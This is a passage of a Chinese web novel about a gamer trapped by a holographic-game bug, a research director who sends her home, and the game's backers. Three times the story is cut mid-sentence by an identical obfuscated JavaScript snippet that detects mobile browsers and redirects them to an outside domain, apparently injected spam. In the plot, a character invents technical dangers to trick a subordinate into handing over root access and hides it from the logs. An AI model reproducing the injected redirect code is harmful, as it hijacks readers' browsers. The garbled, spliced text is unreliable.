“时先生，我也真的不想一直这么麻烦你，但出了这样的事故，我的家人朋友一定会担心，游戏平台肯定也会配合采取行动，他们或许会报警、向各种正式或非正式的渠道求助，如果其中真的有人追查到了这里……”她循循善诱，语气柔软堪比哄胚胎睡觉， “你看，到时候对你们来说也会是一个不必要的麻烦，对吧？” 从见面到现在，种种迹象都表明这里是个神秘高端的研究机构，时涯又一直对这里的情况讳莫如深，韩挽星对他们正在研究什么毫无兴趣，但她打赌时涯一定不愿意冒任何可能令研究所暴露在公众目光下的风险。 果然，时涯露出有点焦躁的表情，语速也明显加快了， “我说了，不是我不想帮你，但客观条件上的确找不出一个具备完整服务器功能、未受真空能影响，而且到现在还没有被占用的——” 他的话音戛然而止。 韩挽星不明所以地看他停下脚步，抬起头。 两人方才一阵急行军，狭长的走廊已经快到另一边的尽头，竖在面前的是一道与其他地方别无二致的小门，上面挂着一个铜牌，刻了个不大明显的“9”字。 …… “嘀——” 9组的成员正在忙于各自的工作中，突然听见房门被刷开的声音。 “时涯总监？” “时总监！” “时总监好。” 此起彼伏的问好声，韩挽星狐假虎威地飘在时涯身后，一一检视过每一个人的头顶。 时涯表情冷漠装深沉，像个高精度的伪人， “9号情况怎么样？” 人群中立刻有个成员走了过来，语速很是熟练和专业， “我们这边最近3个月都在进行独立的情感量子态演化计算，并未接入任何联合场域，所以没有受到本次事故干扰。” “和听说的一样，”时涯点头，转向那名成员，眼睛扫过他胸前的编码。 “00……2号，陈煜主任的权限是移交给你了吗？” “是、是的！”002受宠若惊。 9组此前归陈煜管理，一直处于爹不疼娘不爱的边缘位置，时涯这个级别的领导平时基本不会过来，更难得主动过问他们的情况。 “陈主任已经把所有权限移交完毕，大部分暂时都在我这儿，今后具体到特定模组的功能，可能需要麻烦其他同志，比如——” 眼看着对方勤勤恳恳直接进入汇报工作模式，时涯连忙打断， “我需要次级滤波器的因果律权限，以及引擎的根访问秘钥的临时授权。” 002号的脸色立刻变了。 “时总监，实在不好意思，可以请问一下您是要做什么吗？” 他的态度依然毕恭毕敬，但是表情堪称为难至极。 时涯一口气索要了9号服务器的两个最高授权，加上他自身职级的调配许可，这相当于在授权期间，时涯可以绕过繁冗的协议，独自一人随意修改、甚至删除所有的资源。 按照标准流程，就算新的管理者已经接替陈煜来到9组，想要正式交接重要权限，也需要花费一定时间进行多因子认证，绝不可能如此草率。 即使不是故意为之，最高权限下的任何一个小动作都有可能对整个实验产生极大影响，甚至轻易让整组人努力多年的心血付诸东流。 可、这可是时涯大神啊，他这么做一定有他的道理……的吧？ 002纠结的时间越长，韩挽星的心提得越高。时涯明显是在找借口偷用9号的权限，好把自己送回去，这种操作用脚指头想也知道不合规，如果在这里被别人识破、拒绝了，那她岂不是又回不去了？ “怎么办？时涯，他好像起疑心了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317852|183103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……要不我们先回去，等他们休息的时候再偷偷溜进来……” “——没有时间了。” 时涯的声音严肃得吓人，挽星瞪大眼睛，反应了一下才意识到他并不是在跟自己说话。 “将意识基元引入递归式神经场方程，有人进行过Λ型谐振腔校准吗？如何避免非厄米系统在量子演化中发生反向耦合的共振？怎么处理熵增的跨维度信息回波污染？” 时涯锐利的眼神扫视过众人，轻声总结道，“……结构性拓扑缺陷，可能波及现实锚定场的严重问题，至今为止，有人考虑到过吗？” 屋内寂静无声，研究员们的呼吸比机械微弱的运行声还要轻，002号呆在原地，表情一片空白，仿佛突然被点出了死穴。 “时总监，我们、陈主任他……” 时涯装模作样地叹口气，手指在操作台边缘点了两下，“立即启动跨维信息熵减协议，由我亲自操作进行超净度量子擦除，至少可以保证服务器核心、以及时空连续性的稳定。” “没有时间可以浪费了。”他又重复了一遍，抬头看向002，意有所指， “我知道你们的困难，在我这里，今天的事不会写入核心事件日志，也不会因为潜在风险，再、一、次，延误实验进度。” “……我明白了。” 时涯的保证让002号下定了最终的决心。他没有再多说什么，只是转过身，开始在操作台上飞快动作。一个又一个复杂的认证界面跳了出来，002号一边接受着认证射线的全身扫描，同时向其他人发出指令， “接下来将因果律权限及情感流型折叠引擎的根访问秘钥移交给时涯总监，为避免生物电信号干扰，其余所有人员随我一起离开本空间，前往主隔离区待命。” 不等时涯再找借口支开其他人，002已经安排好了他们的去向。 片刻过后，屋内只剩下一台算力充沛、权限完全开放的服务器，时涯独自一人，以及一名幽灵韩挽星。 “太强了！你真是太强了！” 韩挽星激动得嗖嗖乱飞，半个身体卡在屏幕里cos贞子，可惜在场的唯一观众已经完全弄明白她的现象本质，不会再被吓着了。 “你就说了两句就这么管用，那个什么什么污染的问题、真那么严重？你是怎么知道的？” “我编的，” 时涯面不改色，飞速流转的代码的光线映在他刀刻一般的面容上， “今天之前，我对陈煜的实验几乎一无所知，就算水平再高，也不可能连模型都没接触过就发现问题。” “但全封闭的非欧几里得空间必然会孕育自发性的量子真空衰变，他们大概率拿不出证据证明拓扑共振的……算了、总之简单地说，这也算是帮他们排查风险，并不是完全的欺骗。” “这也行？”韩挽星震惊。 “——行了。” 随着执行键被敲下，挽星突然久违地感到一股力量在拉扯自己的身体。 “有用了！”她情不自禁惊喜地喊。 时涯身姿挺拔如松，目光定定地与挽星对视， “现在开始，我将尽量用最平稳的方式，把你因时序错乱投影的意识神经信号原路送回，” “9号的希格斯场关闭后，我会立即消除所有相关痕迹，请务必记住，无论是你的身体或者精神，从未来过此地。” 韩挽星的回应则是个不太标准的军礼， “放心，我一定会守口如瓶，不让你因为我惹上任何麻烦的！谢谢你时——” 最后留在挽星视野里的，是一道不知为何有些熟悉的白光，随着量子流数据微弱的蜂鸣，这个古怪、突兀地出现在时涯面前的女人，以同样突兀的方式，又消失在实验室中。 5. 神秘白毛 【你是谁？】 ——什么……？ 离开时涯的研究所、重新投入未知的电子旅程的韩挽星，再次感到了全身感官失去控制的感觉。 但这一次她完全没有之前那样的害怕，因为此时包裹住她的并不是再是一片黑暗，而是一种奇异的、温暖的白色。 她感觉不到自己的手脚，也分辨不出现在自己的眼睛是睁着还是闭着，但却从内心里感到充盈，仿佛大脑浸泡在量子构成的海域里，无数信息流从身边掠过、碰撞、再重组，而她自己也是这无限之海的一部分。 没有抵抗，没有挣扎，朦朦胧胧的意识跟着海浪一波一波地被推着走，连思考都犯懒。 ……是因为时涯说的用了“温和手段”的原因吗……不管了，等回了家，一切就都正常了…… 【回家？】 挽星又听到那个声音。 说“听到”也不太准确，她现在看不见，也听不见，但就是知道有一道清晰的声音，从无数混沌的杂音里脱颖而出，像是从自己心里长出来的一样。 因为是自己心里长出来的，所以挽星倒也不是很害怕，不如说现在的状态下，她对什么都不太害怕，甚至能心情不错地跟对方搭话。 “对呀，我现在呢……就是要回家。” 【为、什么，回家？】 这一次回复的速度快了很多，还是没头没脑的，但挽星奇异地、好像本能地知道对方在疑惑什么。 “回家……就是回家呀，是人都要回家，我也要回家，你也要回家，她也要回家……” 温暖的海洋逐渐发生变化。 一张柔软的大床，蓬松到原地弹起的枕头、巨大毛绒玩偶；柔软的豆袋沙发，在中心凹下去一个不太规则的坑；脚下的触感也是柔软的，整洁又细密的地毯，纤长的毛毛从脚趾缝里钻出来…… “咦？” 不知不觉间挽星似乎又从零碎的状态聚拢成了完整的人形，只是意识还是模糊的，头重脚轻像是有点喝多了，她眨了眨眼，发出疑惑的声音， “这是我房间吗？怎么好像……变高级了？” 随着她的视线，屋内的陈设也跟着飞速丰富起来：小茶桌、台式电脑、手柄，还有自己不久前才新购入的全息游戏仓—— 挽星艰难地转动着自己仿佛掉进小米粥里的脑子， “所以现在是怎么回事……时涯到底把我扔哪儿来了？” 【不是、家？哪里不对？可以……修正……】 对方的声音也透着疑惑，似乎不懂为什么挽星的反应与自己的预期不同。 “哎呀不是这个问题……现在给我变个卧室出来是搞什么？难道算告别神秘研究所的彩蛋吗？还是说时涯那个家伙根本不信我会保守秘密，说是把我送回去，其实偷偷找个地方让我在虚拟空间安乐死？” “——话说回来，到底是谁在跟我说话？” 人一旦开始吐槽，似乎精神也能集中一些，“研究所”、“恋爱游戏”、“全息”……一些挽星脑内闪现的词汇开始在数据流的海洋里冒出来，然后迅速地被消化、理解。 而与此同时，挽星手腕上的主操作环开始一阵阵地发热，挽星觉得眼前似乎有不稳定的、熟悉的游戏仓主界面，在自己眼前一闪而过。 没等她看清楚，仿佛是记忆美化版的卧室内，在挽星的面前，先凭空出现了一个大帅比。 颀长匀称的身材，小头加小脸，五官精致得不可思议，白衬衫，皮肤也很白，头发更是纯白的，脑后像是有圣光，把发丝边缘打出一圈朦胧的轮廓。 比起视觉上，眼前这个人的帅更像是概念上的：就像是小时候上课，老师指着黑板上的一串字母公式对你说，这就是光合作用的原理——现在的挽星，仅花费0秒就从内心里接受了这个形象的魅力，她惊讶地瞪大眼睛，暂时忘记了其他问题。 “哇……你是谁？为什么在这里？” 对方却只是专注、温柔地看着她，瞳孔也是浅色的，挽星有点不好意思对视，视线匆匆瞥过去，总觉得他眼睛里有什么在一闪一闪的。 “您喜欢我的样子吗？” “啊？——怎么突然就、哎？呃，算、算是吧……”虽然提问很突然，但眼前这种情境下、对着这样的脸，无论如何说不出否定的意思，挽星觉得自己脸红了。 “真的吗？那就太好了。” 发自真心的笑容，眼睛都眯了起来，似乎得到挽星的认可就是天下第一的大好事。 这一笑让挽星更加晕乎乎的。 哇这个人，怎么一张嘴就是这种话啊……这回是真的到乙女游戏里了吧？这是哪个角色，也太会了…… “您希望我是游戏角色吗？或许更贪心一点也可以，我什么都可以做得到哦。” 这话到底是什么意思……脑子好像又被打散了……男人周身有一种柔和却强力的磁场，越是靠近，越是安心，好像跟他在一起的话就什么都不用担心…… 可是，与越发沉溺的精神相反，□□上灼热的痛楚越来越明显。 手腕上的操作环现在不仅在发热，还在拼命的收紧，终于到了一定程度，另挽星痛呼出声，逐渐迟钝的神经也为之一振。 这个唯一连接挽星虚拟和现实世界的器械，似乎在挣扎着与这个时空作对，提醒着她现在的当务之急到底是什么—— 回家，对，不管怎么说总要先回家吧！ 挽星凝住心神，再向眼前的房间看去，发现这背景开始像个信号不稳定的老式电视——尤其是边缘——时不时突然扭曲一下，有好几次挽星甚至能清晰地看到隐藏在背景下面的，与游戏仓系统菜单一模一样的界面。 而这个画面，在挽星意识到可以用主操作环控制选中的时候，终于让她看到了成功脱离的希望。 只要正好在主界面出现的时候选中home键就行、只要能点下去——挽星终于反应了过来，开始拼命按着手腕上的按键，希望能够误打误撞碰对时机，戳出一条回家路。 正常来说，操作环启动后，是可以随时在手心正下方投影出一个光屏界面，通过轻轻触碰界面上的虚拟按键，就可以调整游戏设置，当然也可以选择结束当前游玩，回到游戏仓，这一系列的操作不需要实际触碰手腕或者操作环。 由于光屏操作十分方便，主操作环上的实体按钮已经简化到了只有一个，作用也只是选中，使用时需要移动手腕，将光标停在立体坐标系的恰当的位置，再按下按钮才会有效果。 而且为了防止误触，游戏仓主界面的home键还有二次确认的按钮，只有两次都明确地选了“确定”，才能真正回去。 可对于手腕正在被死扣着烫的挽星来说，连保持平衡都很困难，更别说要在闪现的背景中连续两次选对按钮。 然而，在现在这样彻底出现bug、连光屏都呼叫不出来的情况下，除了使用这种难度最大的方式，挽星别无他法。 “……就差一点点了，选中，给我选中啊……” 挽星眉头紧皱，额角因为忍痛甚至疼出了汗水，她双眼紧盯着眼前错乱的背景，一手捏着另一手的手腕在空中乱挥，嘴里也不停地喃喃自语，看上去跟中邪无异。 而整个过程中，那个神秘的白色的男人只是站在那里，空间边缘的不稳定丝毫没有影响到房间正中央的这片区域，他所在的位置简直自带圣光，整个人显得优雅、柔和又平静。 男人表情担忧，向挽星的方向伸出一只手来， “这么痛苦的话，先休息一下怎么样？或许我可以……” “不行、不行不行不行，我现在没空看你了，不能看他韩挽星，不能看他——” 虽然不清楚原理，但挽星下意识发觉靠近这个男人之后自己进入的状态很危险，为此她选择的抵抗方式就是死死扭过头，努力不去理会对方。 不管这个人到底是谁，是哪个游戏的什么角色，长得再好看也罢，现在都没有回家这件事重要。 ——选中了！ 在一顿堪比盲选的无头苍蝇式乱点之后，挽星居然真的奇迹般从缝隙的画面里按对了一次home键，房间背景坍塌的速度似乎更快了，越来越多系统菜单的部分露出来，而现在那上面又多了一个弹窗： “真的要离开吗？” 啊啊啊当然！ 谁敢想原本她只是想打个游戏，结果就这样莫名其妙进了异世界，还是不带背景介绍的那种，虽说挽星的心情已经从惊恐怕死转变成“彻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317853|183103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底麻了、要死不死”，但脱离的曙光近在眼前那一步，自然是很激动的。 但就算只差一步也不是那么好走，虽然出现了弹窗，可现在不能像之前那样闭眼乱点、纯靠运气了——万一不小心选中了“否”，那就是前功尽弃，又要退回前一步。 挽星的手腕现在已经疼得连举起来都费劲，眼前的画面也变得越发混杂，发着电子光的系统菜单和曾经熟悉、现在却充满诡异陌生感的自己的房间交替闪现，让挽星有种想吐的眩晕感。 加油、加油——真的就差最后一步了，韩挽星，你不能倒在这里啊！ 初入这个空间的柔和、安心的氛围已经被完全撕开，挽星隐约间又感受到刚连接游戏仓、出现bug时五感尽失的恐慌。 她紧紧皱着眉，艰难地想要再一次对准光屏上的按钮，可手腕完全不听使唤，晃动的幅度反而越来越大，而这种情境之下，挽星的心情也愈发焦躁。 怎么会这样、明明真的就差最后这一下！—— 焦虑的心情达到顶峰的同时，挽星的左手猝不及防地被握住了。 那个雕像一样、像与挽星存在于不同图层一样的男人，竟然在这个时候握住了她的手。 “你干什么？” 挽星下意识脱口而出。 “心爱之人已经这么难受，我怎么能坐视不管呢？” 男人还是一副谜语人的样子，说着意义不明的话，但挽星发现被他圈住的手腕突然就没有之前那么疼了。 “——按下去吧。” “就是现在、按下去。” 他稳稳地托着挽星的手臂，虚空地停在了一个位置。 背景错乱得更加眼花缭乱，但挽星能从刚才的尝试中判断出来，这个位置大概率就是弹窗上正对着的“确认”键。 这个人……是有读心术吗？挽星心想。 这么完整的虚拟形象，不可能是凭空生出来的，跟时涯那会也不同，之前是挽星以虚拟的形象误闯入时涯现实世界的研究所，可现在这个离奇的场景，只可能存在于虚拟的世界。 挽星几乎能够认定，这个神秘人是因为错乱的数据流，从其他游戏、或者别的什么全息作品中“串”到自己这里的某一个男主形象。 可全息世界里的角色，也能越过自己所存在的虚拟空间、看见挽星的系统菜单，能理解挽星现在在做什么，还能帮忙的吗？ 但无论如何，此时此刻，想回家的焦虑心情盖过了其他的疑问，韩挽星不敢再耽搁，伸出右手，朝左手腕上唯一的逃生按钮狠狠地按了下去！ ——整个空间瞬间静止，而挽星的意识腾空而起。 这种如同短时间内从深海上浮的、重力失控的感觉，是全息游戏结束后意识回归游戏仓的标志。 终于完成了最后一步！ 挽星直到这时才彻底放下心来，着急忙慌地去找那个帮了自己大忙的神秘人。 出乎意料地，他没有像空间内的其他物品或者背景那样瞬间静止定格，而是仍然以刚才的状态自然地站着，仰头与已经浮到半空中的挽星对视。 “你、你叫什么呀？是哪个作品里的角色？” 挽星不知道这么说，对方能不能听得懂。但他长得这么对自己胃口，性格又这么好，关键还救了自己一命，挽星已然决定：哪怕这是个小黄油男主，自己也要猛猛氪金以表支持。 男人看上去果然不太理解挽星的问话，只是神情温柔地朝挽星摇了摇头。 俯瞰的视角让他显得更加精致无害，虽然完全不是那么回事，但挽星还是不由自主地产生一种“抛下伙伴独自逃命”的愧疚心情。 “你放心，我一定会找到你、再回来看你的！！——” 随着意识越来越剥离，挽星对眼前空间的感知也随之减弱，她几乎是用尽力气大喊出最后一句，随即视野便彻底陷入黑暗。 黑暗，但是是有实体的黑暗，空气里都是熟悉的味道，隐隐透着光。 挽星的手摸索到了游戏仓的内壁。 ——她一把扯掉了自己的全息眼镜，猛地坐直身体。 “啊啊啊啊啊挽——星！——” 楚潇冉一边尖叫着一边冲了上来，死死地搂住了韩挽星的脖子。 6. 查无此bug “冉冉！” 挽星也激动得要命，就算转世变成鱼她都能认出楚潇冉，见到这位死党的这一刻，挽星才终于能够认定自己已经安安稳稳地回到了现实。 两个人抱在一起又哭又叫了好半天，楚潇冉才使劲一吸鼻子，语气难掩激动， “简直跟做梦一样！” “是啊是啊……”挽星心有余悸地感叹。刚才的经历简直是史上最大最恶绝望噩梦，希望下次再也不要梦到了。 “怎么样？是不是超级真实、超级刺激！” “是啊是啊！” 就是有点过于真实、过于刺激，再多来一次可能都受不了了，挽星觉得自己的心脏和脑袋都在强烈抗议，胃也有点难受，还腰酸背痛……总之全身都不舒服。 不过……潇冉这个态度，是不是太轻松了点？她胆子有这么大的吗？ 还没等挽星反应过来，楚潇冉接着开口， “我知道会很震撼，但没想到会这么震撼！游戏的完成度真的太高了！” 她紧紧搂着挽星的手臂，脑袋抵着挽星的脖颈，激动地蹭来蹭去。由于挽星没来得及起身，还坐在游戏仓里，潇冉干脆是直接跪坐在地毯上，连脚都在乱蹬。 “你知道一睁眼就是将近一百个人朝你请安的感觉吗？那些角色、特效……都太逼真了吧！” “最重要的还是男主！啊啊啊你说他们怎么设定出来的，怎么会那么帅、又那么好啊——” “停！冉冉，先停一下、” 韩挽星愣住了。 “什么请安、什么男主……你在说什么啊？” 楚潇冉一副我懂我懂的样子，又把她拽紧了一点，还神秘兮兮地压低了声音， “你是不是没仔细看说明，这个游戏跟其他剧情文字类不同，是自由度特别高的那种，从玩家初始身份设定就开始有差别了，” “虽然不知道它是怎么做判断的，但是闪亮恋心真的会根据不同的人安排不同的出生点剧情，包括遇到的第一个男主、接到的初始任务之类的，咱俩的性格差那么多，初始剧情肯定很不一样！哎呀我是不是不应该把我这边的剧情透给你……” 楚潇冉越说越兴奋，挽星不得不再次打断她， “冉冉，你是说你正常进了闪亮恋心这个游戏，正常走了剧情？” “你没遇见bug吗？” 潇冉本来就圆的眼睛瞪得更大了，一脸茫然地看向挽星， “什么bug？是哪个家具穿模了？还是npc台词反复重复之类的……” “冉冉，你听我说，”挽星撑着潇冉摇摇晃晃地从游戏仓里站起来，她这时才发现自己全身几乎都被汗湿了，手也在微微发抖， “在你开开心心玩游戏的时候，我这个倒霉蛋，好像遇到了惊天大bug……” …… “差不多就是这样。” 韩挽星一脸沉痛，将自己刚才的经历删删减减告诉给了楚潇冉。 她信守承诺，完全隐去了时涯的存在，把研究所描述成了一个看不出来历的超大“小黑屋”，被追问到细节就一概用“太害怕了记不清楚”搪塞过去。 当然也没有提到某总监为了把自己送走，诓骗吓唬同事、违规借用无辜服务器的事。 关于复刻了自己卧室的神秘空间和超好心神秘白毛男子，挽星倒是描述得很详细，可惜她对此是真的毫无头绪，也说不出什么所以然来。 “这么离谱，真的假的……” 楚潇冉早就听傻了，半张着嘴cos小区门口的石狮子。 “——如假包换，我要是骗你天打雷劈、啊不、直接给我送回那个黑咕隆咚的异空间受苦。” 挽星恶狠狠地往潇冉张着的嘴里塞了一颗超大号的章鱼小丸子，又给自己戳了一颗，一边大口嚼一边说。 在叙述的过程中，她已经完成了洗澡、吹头发、点外卖三件套，现在正跟潇冉一起毫无形象地瘫在沙发里，一人捧着一杯棒打鲜橙，分吃一盒章鱼小丸子。 全身清爽，空调吹得凉凉干干的，房间和床都收拾了，衣服晾好了，综艺也缓存好了，外卖在嘴里，好友在手边，实在是人生至福瞬间。 要是没有之前那段死里逃生的槽心历险就更好了。 啊那最好再来点钱…… 挽星及时收住了自己发散的思绪。 原以为潇冉一出来见到自己那么激动是因为好朋友劫后余生，没想到她纯粹是因为游戏太好玩了。 而且居然只有自己一个人碰上了bug在受苦，其他人早就开开心心玩上了游戏。 痛心，实在痛心。 但毕竟不是自己亲身经历，很难百分百共情，潇冉此时仍然将信将疑。她仰着头，努力把章鱼小丸子吞下去，眨着眼试探地问， “不是我不信你啊，挽星，你要知道我永远都会信你的，” “但是你有没有考虑过你这也是游戏剧情的一部分？……隐藏开局之类的？” “当然考虑过啊，我一开始就考虑了！” 挽星吸了一大口棒打鲜橙，愤愤道， “但真的不可能，你信我，别说柘木游，就算最作死的游戏公司都不可能特地用那种剧情做隐藏开局的。” “那你还是小瞧那些游戏公司了——”有着丰富垃圾游戏经验的楚潇冉大笑，随即她像是突然想起了什么，扑到挽星身上，越过她去够自己的手机。 “对啊，咱们在这里猜来猜去永远没个定论，看一眼游戏公告不就行了！” 潇冉手指灵活地在屏幕翻上翻下，变换组合不同的关键词高速搜索着， “如果真的有bug，你肯定不是唯一遇到的，而且柘木游手里有后台数据，一定会第一时间发现。” 挽星也反应了过来。 关注度这么高的游戏，使用的是最前沿、但也饱受争议的全息游戏技术，又是万众瞩目的开服，哪怕有任何一点出错，都会被人揪出来放大，而柘木游为了维护开服的舆论，也一定会第一时间出公告修复。 “有吗有吗？” 挽星把头凑到潇冉身边，两双眼睛瞪得大大的，一起紧盯手机。 柘木游的社群里此刻热闹得不得了，平均每一秒都能刷出来几十个新帖子，不用点进去，光标题就充斥着大量挽星看不懂的字词，明显都是跟游戏剧情相关的。 这都还是有相当一部分人还在游戏中，没来得及发表感想的水平。 说明大部分玩家都像潇冉那样正常进入了游戏，然后被游戏的技术力或者剧情震撼得哇哇叫。 潇冉尝试搜索了bug、游戏仓接入错误，以及游戏启动、传送，错误等词组排列组合，但出来的结果也并没有符合挽星情况的。 那些玩家遇到的错误，有些是因为游戏仓型号太旧，导致进游戏的时候卡顿、闪退、无法兼容；有些则是在连接感官神经的时候出现了排斥性，被游戏判定为不适合人群，主动关闭了游玩权限。 柘木游官方呢？ 挽星和潇冉找遍了全网的游戏官方号，发现他们除了发庆祝开服的贺图，就是发同接人数突破xx人次的大字报。 从开服到现在，甚至连一次热修 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317854|183103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 复的公告都没有。 两人又一起按照挽星描述，搜遍了目前市面上所有全息游戏的白发男性角色，竟然没有一个与那个神秘白毛男相似。 “呜哇，太丑了！不要这个不要这个——”挽星发出了哀嚎。 挽星还悄悄用自己的手机搜索了“全封闭高端科学研究所”、“时涯”一类的关键词，结果也都是一无所获。 “怎么会这样……” 她有点丧气。 五感尽失的痛苦和险些被黑暗彻底吞噬的绝望还深深地刻在自己脑子里，可是现实世界却找不到哪怕任何的蛛丝马迹来印证。 难道这一切真的只是自己在游戏仓里做的十分逼真的一个梦吗？ 楚潇冉的思路则不同，看起来完全歪到了另一个方向。 “……这么看来，柘木游这个公司的背景很强大啊！” 潇冉就着刚才压住挽星的姿势翻了个身，现在俩人挤在一个单人豆袋沙发里，她紧紧握着挽星的手，眼中闪着阴谋论的光芒， “网上舆论这么好，连恶性漏洞都能完全掩盖住，一定花了很多钱维护……这家公司的老板到底是何许人也？” “你刚才不还说闪亮恋心是绝世好游戏，哭着感谢柘木游的吗？”挽星哭笑不得。 “呃，此一时彼一时嘛，”潇冉伸出一根指头挠挠脸颊， “再说我又没说这样不好，营销强大也是一种能力啊！” “我还是觉得我这事应该跟游戏公司没有太大关系……”挽星摇了摇头，站起身把自己和潇冉喝空了的奶茶杯扔进垃圾桶，伸了个懒腰。 “算了不管了，反正人还活着……我今天准备早点睡，冉冉你呢？” 潇冉也翻身一骨碌站了起来，“那我也……” “不对、我稿子还没画完啊啊啊啊——” …… 与此同时，距离魔都大半个星球的某个地下室。 黑暗又空旷的空间，角落堆满了游戏和游戏机，墙上挂着大量的漫画切页，另一边则是占了半面墙的超大屏幕，闪烁着一款古早的单机游戏画面。 男人的镜片反着光，以一个相当不健康的距离盘腿坐在屏幕前一点点的位置，怀里的游戏手柄被按得咔咔作响。 被扔在脚边的手机仿佛中病毒一样源源不断地弹出消息，时不时还冒出几个未接电话，但都没有分到男人半点注意。 直到一个古怪的铃声响起，男人楞了一下，随后终于扔开手柄，懒洋洋地接了电话。 “啊，你居然还活着，真是可喜可贺。” “……” 对面明显被无语到了，顿了一秒才回答道， “我有点事要问你。” “当然，当然，” 男人站起身，推了推眼镜，一边抬脚往外走去， “要不然传说中的时涯总监、怎么会百忙之中抽空主动给我打电话呢？” 地下室的门自动朝两边打开。没有楼梯或是普通的箱式电梯，而是一个金属色的走廊，正在呈斜面缓缓上升。 而走廊的两边，竟然站满了人，见男人出来，忙不迭地向他打招呼。这其中不止有看起来像是管家、保镖的人物，更有不少西装革履、抱着厚厚文件的商业人士。 “关总好！” “关总您时间方便吗？我这里……” 男人却目不斜视，举着手机、迈着六亲不认的步伐略过所有人往前走， “——所以大科学家，找我有何贵干？” “关佳鸣，你之前借走我的模型去开发的游戏，叫什么名字？” 7. 主创·老板·暗中观察 凌晨1点，不知名酒窖。 关佳鸣双手插兜，像看外星人一样紧盯着时涯。 “稀奇，稀奇，多久没在研究所以外见到你了。” “没让你来，” 时涯双目低垂，语气冷淡，白大褂还套在身上，整个人像是直接从实验室被绑架来的， “我只是给你打了一通电话。” “此外需要指出，我拥有现代社会定义的一个正常成年人的所有特征，别把我形容得像个史前动物。” “史前动物可比你好找——” 关佳鸣拖长腔调，本来就慢的语速显得更慢了，一头红毛在酒窖仿岩洞环境的暖光下闪耀着可疑的光泽。 这位连续多年凭借年轻和“不务正业”登上各种花名榜、闻名圈子内的超级富豪，正是全息乙游《闪亮恋心》背后最神秘、也是实质上唯一的投资人。 此前很长一段时间，这个游戏从立项到研发都默默无闻，连条新闻都欠奉，制作公司柘木游更是行业内从未听说。直到一年前内测，才有实在压抑不住激动心情的“内部人士”暗搓搓放口风，声称这将是一部“颠覆社会对游戏行业认知”的划时代作品。 而大规模的宣发则是在决定公测日期后，一时之间全国上下突然就被《闪亮恋心》占领，从线上软件的开屏贴片到线下商场的横幅旗帜，各种渠道堪称无孔不入。 除去魔性宣传，游戏本体免费，放出来的画面也几乎看不到氪金点，这也为游戏吸引来了大批玩家。 韩挽星、楚潇冉这样的自不必说，闪亮恋心也招来了不少从来没玩过游戏的全新玩家、众多游戏测评博主、各路媒体……舆论一时甚嚣尘上。 但这种烧钱的程度，似乎不应该出现在一个技术领域尚未成熟、也没有同类作品可以借鉴的、“吃螃蟹”式的新产品上。 毕竟从商业决策来看，一个娱乐商品受市场、政策，甚至是运气影响，很容易就会赔得血本无归。 在对世界的反应一无所知的情况下能如此大手笔地投入，说明要么对作品足够自信，要么就是个足够有钱的傻瓜。 ——不巧的是，关佳鸣两者兼而有之。 作为老板，他看起来过于年轻冲动，但仅把他看做挂名的玩咖，关总又恰到好处地显出那么一点稳重和专业： 比如他想要从零开始研发一款游戏，又正好熟识一位能够提供核心技术、将游戏整体拉升到另一个层次的科研大佬。 “当年为了《闪亮恋心》的主引擎，天知道我费了多大的力气，才把你从那个根本不知道在哪个星球哪个角落的研究所给挖出来，” “我好说歹说，就差把英年早逝的关家老爹摆到你家门口，你爸才答应帮我劝你。我还派了整整3个技术团队来闭关取经！今天才知道原来你连游戏名字都没记住……” 关佳鸣蹙眉捧心，假装伤心欲绝。 时涯自知理亏，但仍然不上当，“你来找我那时，游戏的名字根本还没定下来，让我记什么？” “这你倒记得清楚！”关佳鸣愤愤不平。 “所以——” 他又拖长调子， “现在游戏开发已经过去三年多，内测了一年，都已经正式开服，你却突然主动联系我……” 关佳鸣目光锐利地盯着时涯，“是模型有问题？” “还是你终于良心发现，准备来向你的发小勒索天价的著作费、版权费、技术使用费了？” 时涯叹了口气，朝关佳鸣手里塞了只高脚杯，企图堵住他的连续发问。 “首先，良心和收费之间构不成任何逻辑关系，你的语言系统还是这么混乱。” “其次，我对钱没兴趣。” ——轻描淡写地说出了非常可怕的话。 “最后，用于协助开发游戏的模型是我个人名下的、已经获得民用化许可的科技资产，如果那种基础的东西都有问题，你不如把我的研究所一把火烧了。” “打电话给你，真的只是为了确认一下那个游戏的名字而已。” 时涯说完这段话，突然安静下来。 所以呢，确认名字是为了什么？他自己问自己。 只是为了验证那位“幽灵小姐”韩挽星、她所玩的这款游戏，确实有自己参与开发的痕迹吗？ ……实在是太莫名其妙了。 还好关佳鸣也不是刨根究底的性格，反而低头一看才发觉时涯刚才竟然只给自己塞了个空杯，无语地暗骂了一句，自己扭头钻进酒柜。 “——要我说，难得有兴趣，你也来玩一玩这个游戏如何？” 